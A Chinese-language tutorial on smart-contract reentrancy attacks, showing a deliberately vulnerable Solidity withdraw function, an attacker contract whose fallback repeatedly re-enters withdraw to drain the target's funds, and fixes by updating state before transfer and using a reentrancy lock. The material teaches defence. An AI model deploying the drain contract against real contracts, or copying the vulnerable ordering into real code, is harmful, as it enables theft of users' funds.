什么是重入攻击?

重入攻击(Reentrancy Attack)是区块链智能合约中的一种常见安全漏洞,尤其在以太坊等支持智能合约的区块链平台中较为突出。它发生在一个合约在调用另一个合约(或地址)的函数时,未更新自身状态之前,对方合约又重新调用原合约的函数,从而导致逻辑被重复执行,进而被恶意利用。

举一个经典例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Vulnerable {
mapping(address => uint) public balances;

function withdraw() public {
uint amount = balances[msg.sender];
require(amount > 0);

// 向用户发送 ETH
(bool success, ) = msg.sender.call{value: amount}("");
require(success);

// ⚠️ 问题在这里:在转账之后才修改状态
balances[msg.sender] = 0;
}

function deposit() public payable {
balances[msg.sender] += msg.value;
}
}

下面的攻击合约就能通过fallback 回调函数发起重入攻击 从而盗取Vulnerable 账户中的所有资金。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Vulnerable.sol";

contract Attack {
address owner;
Vulnerable public vault;

constructor(address _vault) {
owner = msg.sender;
vault = Vulnerable(payable(_vault));
}

function attack() public {
vault.deposite{value: 0.1 ether}();
vault.withdraw();
}

// 通过回调函数发起重入攻击,盗取目标合约的所有资金
fallback() external payable {
if (address(vault).balance > 0) {
vault.withdraw();
}
}

function withdraw() public {
if (msg.sender == owner) {
payable(msg.sender).transfer(address(this).balance);
}
}
}

当攻击者通过Attack 方法先向目标合约存入一笔资金,随后取款,在目标合约进行转账的时候使用msg.sender.call{value: amount}(""); 会调用到Attack 中的回调函数,而回调函数会再次调用取款函数,由于目标合约中的 balances[msg.sender] 在此时任然没有被修改为0,这就导致攻击者可以一直触发转账,直到账户中资金为0。

如何解决?

先修改状态变量

在取款函数中,先修改状态变量再进行转账操作即可防止重入攻击。

1
2
3
4
5
6
7
8
function withdraw() public {
uint amount = balances[msg.sender];
require(amount > 0);

balances[msg.sender] = 0; // ✅ 先修改状态
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
}

使用互斥锁

在同一次交易调用中,对取款函数的状态加锁,如果攻击者试图在回调函数中再次调用取款函数,就会因为locked 变量无法重复调用。

openzeppelin已经给出最佳实现

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuardTransient.sol

1
2
3
4
5
6
7
8
9
10
11
bool internal locked;
modifier noReentrant() {
require(!locked, "No reentrancy");
locked = true;
_;
locked = false;
}

function withdraw() public noReentrant {
...
}

限制调用方式(比如用 transfer 或 send 限制 gas)

不推荐长期使用这种方式,现在很多攻击已经绕过gas限制了。